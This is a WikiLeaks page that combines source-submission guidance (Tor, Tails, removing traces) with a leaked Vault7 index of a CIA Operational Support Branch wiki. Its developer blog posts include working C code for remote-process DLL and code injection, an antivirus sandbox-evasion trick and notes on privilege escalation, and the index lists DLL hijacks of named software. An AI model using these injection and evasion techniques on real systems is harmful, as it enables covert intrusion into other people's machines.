How to contact WikiLeaks? What is Tor? Tips for Sources After Submitting

This key's fingerprint is A04C 5E09 ED02 B328 03EB 6116 93ED 732E 9231 8DBA

    -----BEGIN PGP PUBLIC KEY BLOCK-----

    mQQNBFUoCGgBIADFLp+QonWyK8L6SPsNrnhwgfCxCk6OUHRIHReAsgAUXegpfg0b
    rsoHbeI5W9s5to/MUGwULHj59M6AvT+DS5rmrThgrND8Dt0dO+XW88bmTXHsFg9K
    jgf1wUpTLq73iWnSBo1m1Z14BmvkROG6M7+vQneCXBFOyFZxWdUSQ15vdzjr4yPR
    oMZjxCIFxe+QL+pNpkXd/St2b6UxiKB9HT9CXaezXrjbRgIzCeV6a5TFfcnhncpO
    ve59rGK3/az7cmjd6cOFo1Iw0J63TGBxDmDTZ0H3ecQvwDnzQSbgepiqbx4VoNmH
    OxpInVNv3AAluIJqN7RbPeWrkohh3EQ1j+lnYGMhBktX0gAyyYSrkAEKmaP6Kk4j
    /ZNkniw5iqMBY+v/yKW4LCmtLfe32kYs5OdreUpSv5zWvgL9sZ+4962YNKtnaBK3
    1hztlJ+xwhqalOCeUYgc0Clbkw+sgqFVnmw5lP4/fQNGxqCO7Tdy6pswmBZlOkmH
    XXfti6hasVCjT1MhemI7KwOmz/KzZqRlzgg5ibCzftt2GBcV3a1+i357YB5/3wXE
    j0vkd+SzFioqdq5Ppr+//IK3WX0jzWS3N5Lxw31q8fqfWZyKJPFbAvHlJ5ez7wKA
    1iS9krDfnysv0BUHf8elizydmsrPWN944Flw1tOFjW46j4uAxSbRBp284wiFmV8N
    TeQjBI8Ku8NtRDleriV3djATCg2SSNsDhNxSlOnPTM5U1bmh+Ehk8eHE3hgn9lRp
    2kkpwafD9pXaqNWJMpD4Amk60L3N+yUrbFWERwncrk3DpGmdzge/tl/UBldPoOeK
    p3shjXMdpSIqlwlB47Xdml3Cd8HkUz8r05xqJ4DutzT00ouP49W4jqjWU9bTuM48
    LRhrOpjvp5uPu0aIyt4BZgpce5QGLwXONTRX+bsTyEFEN3EO6XLeLFJb2jhddj7O
    DmluDPN9aj639E4vjGZ90Vpz4HpN7JULSzsnk+ZkEf2XnliRody3SwqyREjrEBui
    9ktbd0hAeahKuwia0zHyo5+1BjXt3UHiM5fQN93GB0hkXaKUarZ99d7XciTzFtye
    /MWToGTYJq9bM/qWAGO1RmYgNr+gSF/fQBzHeSbRN5tbJKz6oG4NuGCRJGB2aeXW
    TIp/VdouS5I9jFLapzaQUvtdmpaeslIos7gY6TZxWO06Q7AaINgr+SBUvvrff/Nl
    l2PRPYYye35MDs0b+mI5IXpjUuBC+s59gI6YlPqOHXkKFNbI3VxuYB0VJJIrGqIu
    Fv2CXwy5HvR3eIOZ2jLAfsHmTEJhriPJ1sUG0qlfNOQGMIGw9jSiy/iQde1u3ZoF
    so7sXlmBLck9zRMEWRJoI/mgCDEpWqLX7hTTABEBAAG0x1dpa2lMZWFrcyBFZGl0
    b3JpYWwgT2ZmaWNlIEhpZ2ggU2VjdXJpdHkgQ29tbXVuaWNhdGlvbiBLZXkgKFlv
    dSBjYW4gY29udGFjdCBXaWtpTGVha3MgYXQgaHR0cDovL3dsY2hhdGMzcGp3cGxp
    NXIub25pb24gYW5kIGh0dHBzOi8vd2lraWxlYWtzLm9yZy90YWxrKSA8Y29udGFj
    dC11cy11c2luZy1vdXItY2hhdC1zeXN0ZW1Ad2lraWxlYWtzLm9yZz6JBD0EEwEK
    ACcCGwMFCwkIBwMFFQoJCAsFFgIDAQACHgECF4AFAlb6cdIFCQOznOoACgkQk+1z
    LpIxjbrlqh/7B2yBrryWhQMGFj+xr9TIj32vgUIMohq94XYqAjOnYdEGhb5u5B5p
    BNowcqdFB1SOEvX7MhxGAqYocMT7zz2AkG3kpf9f7gOAG7qA1sRiB+R7mZtUr9Kv
    fQSsRFPb6RNzqqB9I9wPNGhBh1YWusUPluLINwbjTMnHXeL96HgdLT+fIBa8ROmn
    0fjJVoWYHG8QtsKiZ+lo2m/J4HyuJanAYPgL6isSu/1bBSwhEIehlQIfXZuS3j35
    12SsO1Zj2BBdgUIrADdMAMLneTs7oc1/PwxWYQ4OTdkay2deg1g/N6YqM2N7rn1W
    7A6tmuH7dfMlhcqw8bf5veyag3RpKHGcm7utDB6k/bMBDMnKazUnM2VQoi1mutHj
    kTCWn/vF1RVz3XbcPH94gbKxcuBi8cjXmSWNZxEBsbirj/CNmsM32Ikm+WIhBvi3
    1mWvcArC3JSUon8RRXype4ESpwEQZd6zsrbhgH4UqF56pcFT2ubnqKu4wtgOECsw
    K0dHyNEiOM1lL919wWDXH9tuQXWTzGsUznktw0cJbBVY1dGxVtGZJDPqEGatvmiR
    o+UmLKWyxTScBm5o3zRm3iyU10d4gka0dxsSQMl1BRD3G6b+NvnBEsV/+KCjxqLU
    vhDNup1AsJ1OhyqPydj5uyiWZCxlXWQPk4p5WWrGZdBDduxiZ2FTj17hu8S4a5A4
    lpTSoZ/nVjUUl7EfvhQCd5G0hneryhwqclVfAhg0xqUUi2nHWg19npPkwZM7Me/3
    +ey7svRUqxVTKbXffSOkJTMLUWqZWc087hL98X5rfi1E6CpBO0zmHeJgZva+PEQ/
    ZKKi8oTzHZ8NNlf1qOfGAPitaEn/HpKGBsDBtE2te8PF1v8LBCea/d5+Umh0GELh
    5eTq4j3eJPQrTN1znyzpBYkR19/D/Jr5j4Vuow5wEE28JJX1TPi6VBMevx1oHBuG
    qsvHNuaDdZ4F6IJTm1ZYBVWQhLbcTginCtv1sadct4Hmx6hklAwQN6VVa7GLOvnY
    RYfPR2QA3fGJSUOg8xq9HqVDvmQtmP02p2XklGOyvvfQxCKhLqKi0hV9xYUyu5dk
    2L/A8gzA0+GIN+IYPMsf3G7aDu0qgGpi5Cy9xYdJWWW0DA5JRJc4/FBSN7xBNsW4
    eOMxl8PITUs9GhOcc68Pvwyv4vvTZObpUjZANLquk7t8joky4Tyog29KYSdhQhne
    oVODrdhTqTPn7rjvnwGyjLInV2g3pKw/Vsrd6xKogmE8XOeR8Oqk6nun+Y588Nsj
    XddctWndZ32dvkjrouUAC9z2t6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P9zvcMJSXbPpcYrffw9A6t
    ka9skmLKKFCcsNJ0coLLB+mw9DVQGc2dPWPhPgtYZLwG5tInS2bkdv67qJ4lYsRM
    jRCW5xzlUZYk6SWD4KKbBQoHbNO0Au8Pe/N1SpYYtpdhFht9fGmtEHNOGPXYgNLq
    VTLgRFk44Dr4hJj5I1+d0BLjVkf6U8b2bN5PcOnVH4Mb+xaGQjqqufAMD/IFO4Ro
    TjwKiw49pJYUiZbw9UGaV3wmg+fue9To1VKxGJuLIGhRXhw6ujGnk/CktIkidRd3
    5pAoY5L4ISnZD8Z0mnGlWOgLmQ3IgNjAyUzVJRhDB5rVQeC6qX4r4E1xjYMJSxdz
    Aqrk25Y//eAkdkeiTWqbXDMkdQtig2rY+v8GGeV0v09NKiT+6extebxTaWH4hAgU
    FR6yq6FHs8mSEKC6Cw6lqKxOn6pwqVuXmR4wzpqCoaajQVz1hOgD+8QuuKVCcTb1
    4IXXpeQBc3EHfXJx2BWbUpyCgBOMtvtjDhLtv5p+4XN55GqY+ocYgAhNMSK34AYD
    AhqQTpgHAX0nZ2SpxfLr/LDN24kXCmnFipqgtE6tstKNiKwAZdQBzJJlyYVpSk93
    6HrYTZiBDJk4jDBh6jAx+IZCiv0rLXBM6QxQWBzbc2AxDDBqNbea2toBSww8HvHf
    hQV/G86Zis/rDOSqLT7e794ezD9RYPv55525zeCk3IKauaW5+WqbKlwosAPIMW2S
    kFODIRd5oMI51eof+ElmB5V5T9lw0CHdltSM/hmYmp/5YotSyHUmk91GDFgkOFUc
    J3x7gtxUMkTadELqwY6hrU8=
    =BLTH
    -----END PGP PUBLIC KEY BLOCK-----

How to contact WikiLeaks? What is Tor? Tips for Sources After Submitting

### Contact

If you need help using Tor you can contact WikiLeaks for assistance in setting it up using our simple webchat available at: https://wikileaks.org/talk

If you can use Tor, but need to contact WikiLeaks for other reasons use our secured webchat available at http://wlchatc3pjwpli5r.onion

We recommend contacting us over Tor if you can.

How to contact WikiLeaks? What is Tor? Tips for Sources After Submitting

### Tor

Tor is an encrypted anonymising network that makes it harder to intercept internet communications, or see where communications are coming from or going to.

In order to use the WikiLeaks public submission system as detailed above you can download the Tor Browser Bundle, which is a Firefox-like browser available for Windows, Mac OS X and GNU/Linux and pre-configured to connect using the anonymising system Tor.

#### Tails

If you are at high risk and you have the capacity to do so, you can also access the submission system through a secure operating system called Tails. Tails is an operating system launched from a USB stick or a DVD that aim to leaves no traces when the computer is shut down after use and automatically routes your internet traffic through Tor. Tails will require you to have either a USB stick or a DVD at least 4GB big and a laptop or desktop computer.

How to contact WikiLeaks? What is Tor? Tips for Sources After Submitting

### Tips

Our submission system works hard to preserve your anonymity, but we recommend you also take some of your own precautions. Please review these basic guidelines.

#### 1. Contact us if you have specific problems

If you have a very large submission, or a submission with a complex format, or are a high-risk source, please contact us. In our experience it is always possible to find a custom solution for even the most seemingly difficult situations.

#### 2. What computer to use

If the computer you are uploading from could subsequently be audited in an investigation, consider using a computer that is not easily tied to you. Technical users can also use Tails to help ensure you do not leave any records of your submission on the computer.

#### 3. Do not talk about your submission to others

If you have any issues talk to WikiLeaks. We are the global experts in source protection – it is a complex field. Even those who mean well often do not have the experience or expertise to advise properly. This includes other media organisations.

How to contact WikiLeaks? What is Tor? Tips for Sources After Submitting

### After

#### 1. Do not talk about your submission to others

If you have any issues talk to WikiLeaks. We are the global experts in source protection – it is a complex field. Even those who mean well often do not have the experience or expertise to advise properly. This includes other media organisations.

#### 2. Act normal

If you are a high-risk source, avoid saying anything or doing anything after submitting which might promote suspicion. In particular, you should try to stick to your normal routine and behaviour.

#### 3. Remove traces of your submission

If you are a high-risk source and the computer you prepared your submission on, or uploaded it from, could subsequently be audited in an investigation, we recommend that you format and dispose of the computer hard drive and any other storage media you used.

In particular, hard drives retain data after formatting which may be visible to a digital forensics team and flash media (USB sticks, memory cards and SSD drives) retain data even after a secure erasure. If you used flash media to store sensitive data, it is important to destroy the media.

If you do this and are a high-risk source you should make sure there are no traces of the clean-up, since such traces themselves may draw suspicion.

#### 4. If you face legal action

If a legal action is brought against you as a result of your submission, there are organisations that may help you. The Courage Foundation is an international organisation dedicated to the protection of journalistic sources. You can find more details at https://www.couragefound.org.

# Submit documents to WikiLeaks

WikiLeaks publishes documents of political or historical importance that are censored or otherwise suppressed. We specialise in strategic global publishing and large archives.

The following is the address of our secure site where you can anonymously upload your documents to WikiLeaks editors. You can only access this submissions system through Tor. (See our Tor tab for more information.) We also advise you to read our tips for sources before submitting.

wlupld3ptjvsgwqw.onion
Copy this address into your Tor browser. Advanced users, if they wish, can also add a further layer of encryption to their submission using our public PGP key.

If you cannot use Tor, or your submission is very large, or you have specific requirements, WikiLeaks provides several alternative methods. Contact us to discuss how to proceed.

How to contact WikiLeaks? What is Tor? Tips for Sources After Submitting

# Vault7: CIA Hacking Tools Revealed

Navigation: » Directory

Owner: User #1179751

## Operational Support Branch (OSB)

Pages | Date | User
--- | --- | ---
Duqu 2.0 Kaspersky Write-Up
Time Stomper empty
Munge Payload empty
Fight Club empty
Rain Maker Temp User Guide
Rain Maker Version Archive empty
System Monitoring and Manipulation SECRET
Dancefloor - Linux empty
Jukebox - Mac empty
Bartender - Windows empty
Margarita v1.6 User Guide
OSBTest
OSB Home
Retrospectives
Personnel
Mission and Vision Statement empty
New Developer Exercises SECRET
3. Visual Studio SECRET
10. Verbiage and Acronyms SECRET
11. Issues and Documentation SECRET
12. Bonus: Capture The Flag SECRET
2. Source Control SECRET
OSB Workflow In Git
9. Tradecraft
8. Bamboo And Dart SECRET
4. Introduction to Win32 Programming. SECRET
5. Win32 Programming Gotchas SECRET
6. Basic Forensics SECRET
7. The Art of Unit Tests SECRET
1. Setting Up Your Development Environment. SECRET
OSB's ESXi Server
Shellterm 2.10 Test Server SECRET
Shellterm v3.0.1 Test Server SECRET
2015 Top bits
Payload Deployment Unit Tests Issue Tracker SECRET
Projects
HyenasHurdle BSOD
Flash Bang SECRET
Flash Bang Supporting Documents empty
Flash Bang v1.1 (Current Version) SECRET
Flash Bang Archived Versions empty
Flash Bang v1.0 SECRET
Magical Mutt SECRET
Magical Mutt v1.0 SECRET
Magical Mutt v1.0 Sprint 2 Retrospective 2016-02-24
Magical Mutt v1.0 Sprint 1 Retrospective 2016-02-16
Melomy DriveIn SECRET
Melomy DriveIn v1.0 SECRET
RickyBobby SECRET
RickyBobby Automated Testing
Fight Club SECRET
Fight Club Archived Versions empty
Fight Club v1.0 SECRET
Fight Club Supporting Documents empty
Fight Club v1.1 (Current Version) SECRET
Taxman
Rain Maker SECRET
Rain Maker Supporting Documents
Rain Maker v1.0 Developer Notes SECRET
Rain Maker v1.0 User Guide
Rain Maker v1.0 Unclassified User Guide
Rain Maker v1.0 (Current Version) SECRET
Rain Maker Archived Versions
Improvise
User Guide empty
Developer Guide empty
Basic Bit SECRET
Basic Bit v1.1 SECRET
Basic Bit Archived Versions
Basic Bit v1.0 SECRET
ConnectifyMe Research SECRET
Fine Dining
Fine Dining (Case Officer Toolset) Concepts
Infector Config XML Schema
Fine Dining Tool Module Lists
Thunderbird Portable DLL Hijack
Chrome Portable DLL Hijack
LBreakout2 Game Portable DLL Hijack
2048 Game DLL Hijack
FoxitReader Portable DLL Hijack
Sophos Virus Removal Tool DLL Hijack
Kaspersky TDSS Killer Portable DLL Hijack
ClamWin Portable DLL Hijack
Iperius Backup DLL Hijack
OperaMail DLL Hijack
Sandisk Secure Access v2 DLL Hijack
LibreOffice Portable DLL Hijack
BabelPad Portable Hijack
Notepad++ DLL Hijack
McAfee Stinger Portable DLL Hijack
Skype Portable DLL Hijack
Opera Portable DLL Hijack
Fine Dining Process, Training, and Approval empty
HammerDrill v2.0 SECRET
HammerDrill v2.0 Developer Notes SECRET
How-to articles
Doxygen Documentation
OSB Passwords SECRET
Helpful Tools
Time Stomper SECRET
Munge Payload SECRET
Error Munger SECRET

### Attachments:

- The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf

- OSB

#### Blog posts:

- [ User #1179925 ]: Opportunistic Locks Used For Sandbox Defeat TOCTOU

  Just finished writing up some info on something I hadn't heard about before starting this project. Opportunistic locks are pretty cool. Check it out here: Opportunistic Locks SECRET

- [ User #1179925 ]: Duqu 2.0 Kaspersky Write-Up

  ('viewpdf' missing)

  The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf

- [ User #1179925 ]: An overly simple PSP Personal Security Product (Anti-Virus) Sandbox defeat

  So, in playing with the PSP Personal Security Product (Anti-Virus) Evasion challenge in the Capture The Flag/New Developer Exercises, I had an idea. So a PSP Personal Security Product (Anti-Virus) sandbox often emulates most of the function calls by the program in question in an attempt to evaluate deeper code paths (to determine that actual intent of the program). Most sandboxes are pretty advanced and most timing defeats have been mitigated in most PSPs. The idea I had was simply to test how detailed the actual sandbox was. In the challenge, I had made an executable that was being caught by the Windows Defender sandbox. To defeat the sandbox I first created a file and closed the handle. I then checked to see if the file still existed after I had created the file. The sandboxes themselves don't actually ever create a real file. To pass this defeat the PSP Personal Security Product (Anti-Virus) would have to keep a virtual collection of files that I had created and respond appropriately. Although, Windows Defender is a simple example, techniques of this nature may be useful in many PSPs.

- [ User #1179925 ]: When Windows Lies, Continued... (Trust Issues++)

  If you go to MSDN Microsoft Developer Network and look at the OSVERSIONINFO structure, Microsoft has a nice little table to use to identify the version of the Windows Operating System. Underneath the table there is a note stating that Windows 8.1 will tell you that it is Windows 8. Ok, weird, but at least it's a documented lie (that's alright I guess?). Windows 10 however, is listed as Major = 10 Minor = 0. Awesome. Awesome until it isn't. Not on all builds of the Technical Preview. In fact, you will notice the Windows 10 VMs on DART Test-Software (commercial) are not 10.0 but rather 6.4 (major.minor). So, keep that in mind if trying to blacklist parts of code when executing DART Test-Software (commercial) scripts.

- [ User #71473 ]: A little bit more CreateRemoteThread

  Crossing Session Boundaries

  CreateRemoteThread on Windows Vista and Windows 7 (and by extension Windows 2008 Server and Windows 2008 Server R2) will not work across session boundaries. To work around this, use RtlCreateUserThread. Windows 8, 8.1 and 10 remove this restriction, but RltCreateUserThread also works on those platforms, so its fielder's choice as to whether you want lots of version checks or just use RtlCreateUserThread across the board. However, you definitely want to exclude XP Windows operating system (Version) – RtlCreateUserThread behaves badly on XP Windows operating system (Version) and will cause the target process to hang indefinitely with a full CPU core.

  Here's a nice little wrapper that makes it easy to fire and forget

  `typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *PCLIENT_ID; typedef long( WINAPI Windows Application Programming Interface *_RtlCreateUserThread)( HANDLE, PSECURITY_DESCRIPTOR, BOOLEAN, ULONG, PULONG, PULONG, PVOID, PVOID, PHANDLE, PCLIENT_ID); HANDLE MyCreateRemoteThread( __in HANDLE hProcess, __in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes, __in SIZE_T dwStackSize, __in LPTHREAD_START_ROUTINE lpStartAddress, __in_opt LPVOID lpParameter, __in DWORD dwCreationFlags, __out_opt LPDWORD lpThreadId ) { HANDLE hThread = NULL; // Don't use RtlCreateUserThread on XP Windows operating system (Version) it runs away with the CPU OSVERSIONINFO osvi; BOOL bIsWindowsXP; SecureZeroMemory(&osvi, sizeof(OSVERSIONINFO)); osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); GetVersionEx(&osvi); bIsWindowsXP = (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion >= 1); if (bIsWindowsXP) { hThread = CreateRemoteThread(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId); } else { _RtlCreateUserThread RtlCreateUserThread; CLIENT_ID cid = { 0 }; WCHAR wszNtDll[] = L"ntdll.dll"; CHAR szRtlCreateUserThread[] = "RtlCreateUserThread" HMODULE hModNtDll = GetModuleHandle(wszNtDll); RtlCreateUserThread = (_RtlCreateUserThread)GetProcAddress(hModNtDll, szRtlCreateUserThread); RtlCreateUserThread(hProcess, NULL, false, 0, 0, 0, lpStartAddress, lpParameter, &hThread, &cid); } return hThread; }`

  Injecting Non-thread Functions

  The one drawback to CreateRemoteThread is you can't use it to call just any old function in a remote process – the function you call must already exist in the other process and it must have a compatible signature to LPTHREAD_START_ROUTINE. Fortunately, you can use some compiler tricks to work around both of these limitations. To call API Application Programming Interface functions that don't match the Thread function signature, you can make a local function that wraps any call you'd like to make and then write that function into the remote process. The local function should take a structure containing the arguments for the API Application Programming Interface call.

  You can also add completely new code to the remote process this way without having to inject a whole DLL. Wanna crash something? Just write a function into the remote process that divides by zero.

  `// WARNING: Crazy compiler voodoo ahead! // turn off incremental linking -- should force this to *not* use a jump table #pragma comment(linker, "/incremental:no") // turn off optimizations #pragma optimize( "", off ) // turn off pesky runtime checks that add an extra call to _RTC_CheckEsp to the end of our function #pragma runtime_checks( "", off) // put both functions in the same section. as long as there are only two, they should be in order #pragma code_seg( ".text$A" ) extern "C" { static DWORD WINAPI Windows Application Programming Interface DivideByZero(PVOID value) { // multiplying 0 * 0 turns the line below into a mere warning instead of a compiler error return (DWORD)value / (0 * 0); } static void __stdcall DivideByZero_end() { } }; #pragma code_seg() #pragma runtime_checks ("", restore) #pragma optimize( "",on ) SIZE_T funcSize = (SIZE_T)DivideByZero_end - (SIZE_T)DivideByZero;`

  Then just use VirtualAllocEx and WriteProcessMemory to copy your function into the remote process, and use MyCreateRemoteThread to call it.

- [ User #4849738 ]: Updating ESXi Server from 5.5-6.0.0

  1. Ensure no one is currently utilizing the shellterm, pocket putin, etc.
  2. Alert IRC Internet Relay Chat users that the service is going down
  3. Suspend all VMs
  4. Put into maintenance mode
  5. Reboot
  6. Change BIOS Basic Input/Output System boot settings from UEFI Universal Extendible Firmware Interface to BIOS Basic Input/Output System boot, and disable all boot devices aside from the USB Universal Serial Bus CD Compact Disk drive
  7. Insert new ESXi BOOTABLE CD Compact Disk into drive, and boot
  8. Updater prompts for update or new install... UPDATE! (takes 10-15 minutes)
  9. After update, change boot settings back to UEFI Universal Extendible Firmware Interface and boot.
  10. If applicable, download new vSphere Client
  11. Log into vSphere Client as root
      1. Configuration -> Authentication Services > Re-add DEVLAN.net Active Directory
      2. Permissions->Add Permissions->Add
         1. Type in search menu "osb", and select sg-osb
         2. Grant sg-osb the "OSB" assigned role
         3. Grant User #72251, User #?, and User #1179751 "Administrator" role
      3. Configuration -> Storage
         1. unmount oldmirror and REPO
         2. Re-add:

         3. [root@osb:~] esxcli storage nfs list
            Volume Name Host Share Accessible Mounted Read-Only isPE Hardware Acceleration
            ---------------------------- ------------------ -------------------- ---------- ------- --------- ----- ---------------------
            REPO (All install ISOs here) repo.devlan.net /SANLUN2 false false true false Unknown
            oldmirror mirrors.devlan.net /vol/vol1/oldmirrors false false true false Unknown

- [ User #1179925 ]: ClipArt

  I was in the process of creating documentation and slides for a tool when I realized that the office clip art was lacking for what I needed in a diagram. Thus, I went to the webz and downloaded a few that may be useful to more than just my project. If you would like to seem them I threw them into \\FS-01\share\ClipArt. Enjoy!

- [ User #1179925 ]: A little bit of CreateRemoteThread

      CHAR cDll[] = "C:\\Users\\
      User #?\\Desktop\\MyDll.dll";

      int iPID = _wtoi(argv[1]);

      HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, iPID);
      if (hProc == NULL)
           printf("Could not get handle to process %d\n", iPID);

      LPVOID addr =
      (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"),
      "LoadLibraryA");
      if (!addr)
              printf("Failed to get load library function\n");

      LPVOID arg = (LPVOID)VirtualAllocEx(hProc, NULL, strlen(cDll),
      MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
      if (!arg)
              printf("Failed to allocate memory\n");

      int n = WriteProcessMemory(hProc, arg, cDll, strlen(cDll), NULL);
      if (!n)
              printf("Failed to write memory\n");

      HANDLE threadID = CreateRemoteThread(hProc, NULL, 0,
      (LPTHREAD_START_ROUTINE)addr, arg, NULL, NULL);
      if (threadID == NULL)
              printf("Error failed to create remote thread\n");
      else
              printf("Success!!\n");

      CloseHandle(hProc);

      return 0;

- [ User #1179925 ]: Network Share Operations With Privilege Escalation

  Just a reminder, since we ran into this little issue late in the night ( User #71473 and User #14588054 ). In a network share operation, we were using the link files to load a dll into explorer. The dll once loaded would restart itself with a SYSTEM instance of rundll32. At that point it appeared the rundll32 had initialized but wasn't doing anything. It took us probably too long to figure out that when the SYSTEM process tries to access the share, it doesn't have the appropriate credentials. The credentials of the user you are running as are used when authenticating file operations to the share.

- [ User #1179925 ]: Possible Tool Names

  Some tool names I'm writing down from an online generator so I have them stored somewhere.

  Reformed Renegade

  Hilltop Savages

  Gloating Gerbil

  Cliff Maulers

  Wannabee

  Death Phobia

  Latin Tornado??

  Postal Toddler

  Enraged Jackal

  Landworm

  Free Apocalypse

  Tundra Storm

  Bacon Gambler

  Cat Kittens

  Night Farmer

  Midnight Spawn

  Gothic Gnome

  Lazy Outlaw

  Awful Aftermath

  Karma Threat

  Dancing Hyena

  Goat Wrangler

  Holy Roller

### Home pages:

- Duqu 2.0 Kaspersky Write-Up
- Time Stomper
- Munge Payload
- Fight Club
- Rain Maker Temp User Guide
- Rain Maker Version Archive
- System Monitoring and Manipulation
- Dancefloor - Linux
- Jukebox - Mac
- Bartender - Windows
- Margarita v1.6 User Guide
- OSBTest
- OSB Home